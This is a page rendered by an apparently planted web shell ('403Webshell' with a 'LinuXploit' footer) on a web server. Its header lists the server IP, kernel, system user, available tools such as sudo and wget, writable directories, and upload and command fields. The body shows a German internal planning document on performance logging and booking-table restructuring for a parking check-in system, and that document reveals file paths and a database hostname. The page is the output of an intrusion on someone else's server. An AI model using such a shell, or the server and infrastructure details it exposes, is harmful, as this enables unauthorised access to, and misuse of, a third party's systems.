403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside.pacim.de/web/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside.pacim.de/web/docs/performance-analyse.md
# PaCIM – Performance-Messung & geplanter Tabellenumbau

Stand: 2026-06-25 · Status: **Phase 1/2/3/7 umgesetzt (nur Messung, alles standardmäßig AUS)**.
Es wurde **nichts** an der produktiven Buchungslogik, an Lesequellen, Cronjobs oder der Tabellenstruktur geändert.

---

## 0. Leitplanken (eingehalten)
- Keine neue DB-Struktur scharf geschaltet. Nur `pacim_performance_log` (Debug) wird *lazy* angelegt, sobald Logging aktiv ist.
- Messung standardmäßig **deaktiviert** (`perf_log_enabled=0`), Agent **deaktiviert** (`perf_agent_enabled=0`).
- Messpunkte sind fail-safe: Fehler werden verschluckt, eine Buchung kann dadurch nie scheitern.
- Geschrieben wird **gepuffert am Request-Ende** in EINEM Insert (kein synchrones Schreiben pro Query).
- Keine personenbezogenen Daten: nur Modul/Aktion/Kategorie, Dauer, Speicher, Zeilenzahl, Request-**Pfad** (ohne Query-String), anonymisierte IP, Kontext, Status.

---

## 1. Vermutete Flaschenhälse (vor Messung, aus Code-Analyse)

| # | Bereich | Datei / Funktion | Warum verdächtig |
|---|---------|------------------|------------------|
| 1 | Tageslisten / Check-in | `data.class.php::events()` (Z. ~1036–1972) | sehr große Methode, viele Sub-Queries je Tag in Schleifen (`return_terminal`, `return_service`, Zählungen pro Datum), mehrere `rawQueryOne` pro Iteration |
| 2 | Dashboard | `dashboard.class.php::events()` / `monthOverview()` | Aggregat-Queries mit `COUNT(DISTINCT CASE …)` + Vorbucher-Preview je Schiff |
| 3 | Verfügbarkeit/Preis | `bookingservice.class.php::quote()` | mehrere Produkt-/Preis-Lookups pro Aufruf, wird im Buchungsformular wiederholt aufgerufen |
| 4 | Buchung speichern | `bookingservice.class.php::create()` / `captureAida()` | Transaktion + mehrere Inserts + Folgeaktionen (mailrules, pushnotify) |
| 5 | API | `api.php` `booking/get|find|create|update|cancel` | JOIN-Queries, PDF-Erzeugung, Catch-up-Regeln |
| 6 | Check-in-App-Daten | `api.php` Lesepfade + `data.class.php` | gleiche schweren Queries wie Tageslisten |
| 7 | Minuten-Cron | `ajax_request.php` (smtp-Zweig) | `runEventCatchup`/`runPaymentCatchup`/`runScheduled`/`processQueue` jede Minute |
| 8 | Mail/Push-Queue | `mailqueue::processQueue()`, `pushnotify::processQueue()` | Schleifen über Nachrichten, Anhang-/PDF-Auflösung |
| 9 | WordPress-Sync | `crons/wordpress/sync.php` | externe DB-Verbindung (hu57.your-database.de), Dekomprimierung |
| 10 | ParkingList-Import | `crons/parkinglist*`, `includes/functions/parkinglist-import.php` | Headless-Browser + CSV |
| 11 | Wiederholte Queries in Schleifen | `data.class.php::events()` `valetArrivals/searchIndex/checkinPlan` | N+1-Muster |

---

## 2. Instrumentierte und noch zu instrumentierende Stellen

**Bereits instrumentiert (fail-safe, No-Op wenn aus):**
- `data.class.php::events()` → Modul `day`, Kategorie `booking_list` / `booking_list_grouped`
- `bookingservice.class.php::quote()` → `booking` / `price_calc`
- `bookingservice.class.php::create()` → `booking` / `booking_insert` (ok + error)

**Empfohlene nächste Batch (erst nach Freigabe, gleiches Muster):**
- `dashboard::events()`, `dashboard::monthOverview()` → `dashboard` / `cockpit_*`
- `bookingservice::captureAida()` → `booking` / `aida_insert`
- `api.php`: je Action ein Messpunkt vor `api_ok/api_out` → `api` / `booking_get|find|create|update|cancel`
- `dayview::*` (importedLists, valetArrivals, checkinHistogram, invoices) → `day` / `*`
- `mailqueue::processQueue()`, `pushnotify::processQueue()` → `cron` / `mail_queue|push_queue`
- `ajax_request.php` Cron-Schritte → `cron` / `catchup|scheduled`
- `crons/wordpress/sync.php` (externe DB) → `sync` / `wp_pull`
- PDF-Erzeugung `pdf.class.php::createBooking/createInvoice` → `pdf` / `booking|invoice`

---

## 3. Debug-Tabelle (wird lazy angelegt)

```sql
CREATE TABLE IF NOT EXISTS pacim_performance_log (
  perf_id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
  perf_time DATETIME NOT NULL,
  perf_context VARCHAR(16) NULL,      -- admin|api|cron|ajax|public|cli
  perf_module VARCHAR(48) NOT NULL,
  perf_action VARCHAR(64) NOT NULL,
  perf_category VARCHAR(64) NULL,     -- SQL-Typ / Kurzbeschreibung
  perf_ms INT UNSIGNED NOT NULL,
  perf_rows INT NULL,
  perf_mem BIGINT UNSIGNED NULL,      -- peak bytes
  perf_uri VARCHAR(191) NULL,         -- nur Pfad, ohne Query-String
  perf_ip VARCHAR(45) NULL,           -- anonymisiert (/24 bzw. /48)
  perf_status VARCHAR(16) NULL,
  PRIMARY KEY (perf_id),
  KEY perf_time (perf_time),
  KEY perf_module_time (perf_module, perf_time),
  KEY perf_category (perf_category),
  KEY perf_ms (perf_ms)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
```

## 4. PHP-Klasse
`includes/classes/perflog.class.php` (in `config.inc.php` nach `settings` geladen). Kernmethoden:
`enabled()`, `start($modul,$aktion,$kategorie)`, `stop($token,['rows','status','category'])`,
`measure($modul,$aktion,$cb,$kategorie)`, `flush()` (Shutdown), `prune()`, `runAgent()`.

## 5. Beispiel-Integration (verwendetes Muster)
```php
$__pt = class_exists('perflog') ? perflog::start('booking','quote','price_calc') : false;
... Arbeit ...
if ($__pt) perflog::stop($__pt, array('rows' => $n)); // optional
```
Wenn Logging aus ist, gibt `start()` `false` zurück und `stop(false)` ist ein No-Op → praktisch keine Last.

## 6. Admin-Debug-Bereich
Einstellungen → **Debug** (`pacim/_debug.tpl`, `assets/js/debug.js`, Backend `debug-api.php`):
Logging an/aus, Mindestdauer, Max-Logs, Logs löschen, langsamste Aktionen, Ø/Anzahl pro Modul,
langsamste Kategorien, Verlauf 24 h, CSV-Export, Detailansicht, Agent-Konfiguration + manueller Lauf.

## 7. Pushover-Agent (Konzept)
`perflog::runAgent()` wird vom bestehenden Minuten-Cron (`ajax_request.php`) aufgerufen, ist aber:
- nur aktiv bei `perf_agent_enabled=1`,
- selbst-gedrosselt (`interval_min`, Standard 15),
- gruppiert die letzten 60 min nach Modul+Kategorie und meldet nur echte Überschreitungen
  (`slow_ms`, `avg_ms`, `mem_mb`),
- **Cooldown** je Signatur (Standard 360 min) → kein Spam,
- versendet über die **bestehende** Pushover-Queue (keine neuen Zugangsdaten),
- **nur Bericht, keine automatischen Optimierungen**.

## 8. Auswertung der Daten (Vorgehen)
1. Logging im Debug-Tab aktivieren, einige Tage echte Nutzung sammeln (Mindestdauer z. B. 100 ms).
2. Im Tab „Pro Modul" und „Kategorien" die höchsten Ø-/max-Werte und Aufrufzahlen ansehen
   (hohe `hits × avg_ms` = größter Gesamteinfluss).
3. „Langsamste Aktionen" + Detailansicht → konkrete `perf_uri`/Kontext.
4. CSV exportieren für Trend/Pivot (z. B. p95 je Kategorie, Tagesverlauf).
5. Regressionen über „Verlauf 24h" bzw. Vergleich Zeiträume erkennen.

## 9. Beobachtungsgrößen für den späteren Umbau
- Anteil der Last auf **heute/zukünftig vs. vergangen** (rechtfertigt Future/Today/Archive-Split?).
- Top-Kategorien nach `hits × avg_ms` (lohnen Index/Cache?).
- N+1-Muster: gleiche Kategorie sehr oft je Request.
- Speicher-Spitzen (große Ergebnismengen → Snapshot/Pagination?).
- Check-in-App-Lesepfade: Häufigkeit & Dauer → eigene Tages-Snapshot-Tabelle sinnvoll?
- Cron-Dauer (Queue/Sync) vs. Minutentakt (Überlauf-Gefahr?).

---

## Phase 4 – Analyse vor Umbau (Vorlage, nach Datensammlung auszufüllen)
Pro bestätigtem Flaschenhals: betroffene Datei/Funktion · SQL · Ursache · Risiko ·
kurzfristig (ohne Strukturumbau, z. B. Query/Index) · mittelfristig (Cache/Index/Snapshot) ·
langfristig (Struktur) · Migrations- & Rollback-Strategie.

## Phase 5 – Vorschlag neue Datenstruktur (NUR Entwurf, keine Migration)
- `pacim_bookings_future`, `pacim_bookings_today`, `pacim_bookings_archive`, optional View `pacim_bookings_current`.
- Bestehende `pacim_booking` bleibt **Master/Legacy**.
- Offene Prüfpunkte: Was muss wirklich dupliziert werden? View vs. echte Tabelle vs. materialisierter Snapshot?
  Eigene Tages-Snapshot-Tabelle für die Check-in-App? Verknüpfung Rechnung/Kunde/Fahrzeug/Extras?
  FKs überhaupt kompatibel? Storno/Änderung/Nachzahlung-Synchronisierung? Dubletten-Schutz? Archivierung & Restore?
- Erste Einschätzung: Für die Check-in-App ist eine **materialisierte Tages-Snapshot-Tabelle** wahrscheinlich
  am wirkungsvollsten (kleine, indexierte Lesemenge), während Future/Archive eher über **Views + Indizes**
  auf der Master-Tabelle abbildbar sind, solange die Messung keinen harten Tabellen-Split erzwingt.

## Phase 6 – Sicherer Parallelbetrieb (Strategie)
1. Master bleibt `pacim_booking`. 2. Neue Tabellen passiv anlegen. 3. Bei echten Buchungen optional
zusätzlich schreiben **oder** per Cron-Snapshot füllen. 4. Check-in-App liest weiter aus alter Struktur.
5. Vergleichsmodus alt vs. neu. 6. Abweichungen im Debug-Bereich. 7. Umschaltung **nur** nach manueller Freigabe.
Keine automatische Änderung produktiver Lesequellen, keine Migration ohne Backup.

Youez - 2016 - github.com/yon3zu
LinuXploit